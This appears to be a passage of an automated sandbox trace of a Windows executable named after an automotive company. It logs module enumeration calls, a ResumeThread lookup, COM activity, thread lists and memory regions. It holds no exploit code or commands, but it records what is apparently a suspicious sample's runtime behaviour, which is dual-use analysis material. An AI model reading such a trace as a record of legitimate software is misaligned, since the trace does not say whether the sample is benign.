	[0175.592] GetLastError () returned 0xcb
	[0175.592] GetModuleInformation (in: hProcess=0x1e8, hModule=0xb0000, lpmodinfo=0x25a3428, cb=0xc | out: lpmodinfo=0x25a3428*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0175.592] GetLastError () returned 0xcb
	[0175.592] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0175.593] GetLastError () returned 0xcb
	[0175.593] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0175.593] GetLastError () returned 0xcb
	[0175.593] GetModuleInformation (in: hProcess=0x1e8, hModule=0x77230000, lpmodinfo=0x25a45e8, cb=0xc | out: lpmodinfo=0x25a45e8*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0175.593] GetLastError () returned 0xcb
	[0175.593] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0175.593] GetLastError () returned 0xcb
	[0175.593] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0175.594] GetLastError () returned 0xcb
	[0175.594] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73910000, lpmodinfo=0x25a56dc, cb=0xc | out: lpmodinfo=0x25a56dc*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0175.594] GetLastError () returned 0xcb
	[0175.594] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0175.594] GetLastError () returned 0xcb
	[0175.594] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0175.595] GetLastError () returned 0xcb
	[0175.595] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75960000, lpmodinfo=0x25a67d8, cb=0xc | out: lpmodinfo=0x25a67d8*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0175.595] GetLastError () returned 0xcb
	[0175.595] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0175.595] GetLastError () returned 0xcb
	[0175.595] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0175.595] GetLastError () returned 0xcb
	[0175.596] GetModuleInformation (in: hProcess=0x1e8, hModule=0x768a0000, lpmodinfo=0x25a78dc, cb=0xc | out: lpmodinfo=0x25a78dc*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0175.596] GetLastError () returned 0xcb
	[0175.596] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0175.596] GetLastError () returned 0xcb
	[0175.596] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0175.596] GetLastError () returned 0xcb
	[0175.596] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75690000, lpmodinfo=0x25a8a18, cb=0xc | out: lpmodinfo=0x25a8a18*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0175.597] GetLastError () returned 0xcb
	[0175.597] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0175.597] GetLastError () returned 0xcb
	[0175.597] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0175.597] GetLastError () returned 0xcb
	[0175.597] GetModuleInformation (in: hProcess=0x1e8, hModule=0x755e0000, lpmodinfo=0x25a9b1c, cb=0xc | out: lpmodinfo=0x25a9b1c*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0175.598] GetLastError () returned 0xcb
	[0175.598] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0175.598] GetLastError () returned 0xcb
	[0175.598] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0175.598] GetLastError () returned 0xcb
	[0175.598] GetModuleInformation (in: hProcess=0x1e8, hModule=0x767f0000, lpmodinfo=0x25aac18, cb=0xc | out: lpmodinfo=0x25aac18*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0175.599] GetLastError () returned 0xcb
	[0175.599] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0175.599] GetLastError () returned 0xcb
	[0175.599] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0175.599] GetLastError () returned 0xcb
	[0175.599] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74ec0000, lpmodinfo=0x25abd14, cb=0xc | out: lpmodinfo=0x25abd14*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0175.600] GetLastError () returned 0xcb
	[0175.600] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0175.600] GetLastError () returned 0xcb
	[0175.600] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0175.600] GetLastError () returned 0xcb
	[0175.600] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d90000, lpmodinfo=0x25ace60, cb=0xc | out: lpmodinfo=0x25ace60*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0175.601] GetLastError () returned 0xcb
	[0175.601] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0175.601] GetLastError () returned 0xcb
	[0175.601] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0175.601] GetLastError () returned 0xcb
	[0175.602] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d80000, lpmodinfo=0x25adf5c, cb=0xc | out: lpmodinfo=0x25adf5c*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0175.602] GetLastError () returned 0xcb
	[0175.602] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0175.602] GetLastError () returned 0xcb
	[0175.602] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0175.603] GetLastError () returned 0xcb
	[0175.603] GetModuleInformation (in: hProcess=0x1e8, hModule=0x736f0000, lpmodinfo=0x25af060, cb=0xc | out: lpmodinfo=0x25af060*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0175.603] GetLastError () returned 0xcb
	[0175.603] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0175.603] GetLastError () returned 0xcb
	[0175.603] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0175.604] GetLastError () returned 0xcb
	[0175.604] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76bd0000, lpmodinfo=0x25b0198, cb=0xc | out: lpmodinfo=0x25b0198*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0175.604] GetLastError () returned 0xcb
	[0175.604] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0175.605] GetLastError () returned 0xcb
	[0175.605] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0175.605] GetLastError () returned 0xcb
	[0175.605] GetModuleInformation (in: hProcess=0x1e8, hModule=0x758d0000, lpmodinfo=0x25b1294, cb=0xc | out: lpmodinfo=0x25b1294*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0175.605] GetLastError () returned 0xcb
	[0175.605] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0175.606] GetLastError () returned 0xcb
	[0175.606] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0175.606] GetLastError () returned 0xcb
	[0175.606] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76ad0000, lpmodinfo=0x25b2388, cb=0xc | out: lpmodinfo=0x25b2388*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0175.607] GetLastError () returned 0xcb
	[0175.607] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0175.607] GetLastError () returned 0xcb
	[0175.607] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0175.607] GetLastError () returned 0xcb
	[0175.608] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75830000, lpmodinfo=0x25b3484, cb=0xc | out: lpmodinfo=0x25b3484*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0175.608] GetLastError () returned 0xcb
	[0175.608] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0175.608] GetLastError () returned 0xcb
	[0175.608] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0175.609] GetLastError () returned 0xcb
	[0175.609] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75790000, lpmodinfo=0x25b4570, cb=0xc | out: lpmodinfo=0x25b4570*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0175.609] GetLastError () returned 0xcb
	[0175.609] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0175.610] GetLastError () returned 0xcb
	[0175.610] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0175.610] GetLastError () returned 0xcb
	[0175.610] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75730000, lpmodinfo=0x25b56f4, cb=0xc | out: lpmodinfo=0x25b56f4*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0175.611] GetLastError () returned 0xcb
	[0175.611] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0175.611] GetLastError () returned 0xcb
	[0175.611] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0175.612] GetLastError () returned 0xcb
	[0175.612] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74df0000, lpmodinfo=0x25b67e8, cb=0xc | out: lpmodinfo=0x25b67e8*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0175.612] GetLastError () returned 0xcb
	[0175.612] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0175.613] GetLastError () returned 0xcb
	[0175.613] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0175.613] GetLastError () returned 0xcb
	[0175.613] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74740000, lpmodinfo=0x25b78dc, cb=0xc | out: lpmodinfo=0x25b78dc*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0175.614] GetLastError () returned 0xcb
	[0175.614] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0175.614] GetLastError () returned 0xcb
	[0175.614] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0175.614] GetLastError () returned 0xcb
	[0175.615] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74670000, lpmodinfo=0x25b8a14, cb=0xc | out: lpmodinfo=0x25b8a14*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0175.615] GetLastError () returned 0xcb
	[0175.615] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0175.615] GetLastError () returned 0xcb
	[0175.615] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0175.616] GetLastError () returned 0xcb
	[0175.616] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75b00000, lpmodinfo=0x25b9ba8, cb=0xc | out: lpmodinfo=0x25b9ba8*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0175.616] GetLastError () returned 0xcb
	[0175.616] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0175.617] GetLastError () returned 0xcb
	[0175.617] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0175.617] GetLastError () returned 0xcb
	[0175.618] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75180000, lpmodinfo=0x25baca4, cb=0xc | out: lpmodinfo=0x25baca4*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0175.618] GetLastError () returned 0xcb
	[0175.618] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0175.618] GetLastError () returned 0xcb
	[0175.619] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0175.619] GetLastError () returned 0xcb
	[0175.619] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d20000, lpmodinfo=0x25bbd98, cb=0xc | out: lpmodinfo=0x25bbd98*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0175.620] GetLastError () returned 0xcb
	[0175.620] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0175.620] GetLastError () returned 0xcb
	[0175.620] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0175.621] GetLastError () returned 0xcb
	[0175.621] GetModuleInformation (in: hProcess=0x1e8, hModule=0x72be0000, lpmodinfo=0x25bce94, cb=0xc | out: lpmodinfo=0x25bce94*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0175.621] GetLastError () returned 0xcb
	[0175.621] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0175.622] GetLastError () returned 0xcb
	[0175.622] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0175.622] GetLastError () returned 0xcb
	[0175.622] GetModuleInformation (in: hProcess=0x1e8, hModule=0x745f0000, lpmodinfo=0x25be02c, cb=0xc | out: lpmodinfo=0x25be02c*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0175.623] GetLastError () returned 0xcb
	[0175.623] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0175.623] GetLastError () returned 0xcb
	[0175.623] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0175.624] GetLastError () returned 0xcb
	[0175.624] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74450000, lpmodinfo=0x25bf128, cb=0xc | out: lpmodinfo=0x25bf128*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0175.624] GetLastError () returned 0xcb
	[0175.625] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0175.625] GetLastError () returned 0xcb
	[0175.625] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0175.626] GetLastError () returned 0xcb
	[0175.626] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73cb0000, lpmodinfo=0x25c0260, cb=0xc | out: lpmodinfo=0x25c0260*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0175.626] GetLastError () returned 0xcb
	[0175.626] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0175.627] GetLastError () returned 0xcb
	[0175.627] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0175.627] GetLastError () returned 0xcb
	[0175.628] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73b10000, lpmodinfo=0x25c13ec, cb=0xc | out: lpmodinfo=0x25c13ec*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0175.628] GetLastError () returned 0xcb
	[0175.628] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0175.629] GetLastError () returned 0xcb
	[0175.629] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0175.629] GetLastError () returned 0xcb
	[0175.629] GetModuleInformation (in: hProcess=0x1e8, hModule=0x750f0000, lpmodinfo=0x25c25d0, cb=0xc | out: lpmodinfo=0x25c25d0*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0175.630] GetLastError () returned 0xcb
	[0175.630] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0175.630] GetLastError () returned 0xcb
	[0175.630] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0175.631] GetLastError () returned 0xcb
	[0175.631] CloseHandle (hObject=0x1e8) returned 1
	[0175.631] GetLastError () returned 0xcb
	[0175.635] CoCreateGuid (in: pguid=0x33d1b4 | out: pguid=0x33d1b4*(Data1=0xf37e48bf, Data2=0xf32a, Data3=0x445f, Data4=([0]=0x81, [1]=0xcd, [2]=0x95, [3]=0xa6, [4]=0x96, [5]=0x8d, [6]=0x64, [7]=0xa4))) returned 0x0
	[0175.645] CoCreateGuid (in: pguid=0x33d718 | out: pguid=0x33d718*(Data1=0xf1b94716, Data2=0x6a8e, Data3=0x49a9, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0x28, [4]=0x24, [5]=0x9, [6]=0xd7, [7]=0x3e))) returned 0x0
	[0175.650] GetProcAddress (hModule=0x75960000, lpProcName="ResumeThread") returned 0x759743ef
	[0176.638] CoGetContextToken (in: pToken=0x33f6a4 | out: pToken=0x33f6a4) returned 0x0
	[0176.638] CObjectContext::QueryInterface () returned 0x0
	[0176.638] CObjectContext::GetCurrentThreadType () returned 0x0
	[0176.638] Release () returned 0x0
	[0176.842] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x519f38*=0x94, lpdwindex=0x33f510) 

Thread:
	id = 144
	os_tid = 0x754


Thread:
	id = 145
	os_tid = 0x788

	[0171.153] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0175.280] RegCloseKey (hKey=0x1e4) returned 0x0
	[0176.643] RegCloseKey (hKey=0x80000004) returned 0x0
	[0176.643] CloseHandle (hObject=0x190) returned 1
	[0176.643] GetLastError () returned 0x0
	[0176.644] UnmapViewOfFile (lpBaseAddress=0x220000) returned 1

Thread:
	id = 146
	os_tid = 0x7e8


Thread:
	id = 148
	os_tid = 0x510


Thread:
	id = 151
	os_tid = 0x540


Process:
	id = "9"
	image_name = "dura automotive systems inc.exe"
	filename = "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe"
	page_root = "0xe3e2000"
	os_pid = "0x7f0"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x530"
	cmd_line = "\"C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XABNCPUWKW\\kFT6uTQW"
	os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000dfb6" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 2033
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2034
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 2035
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

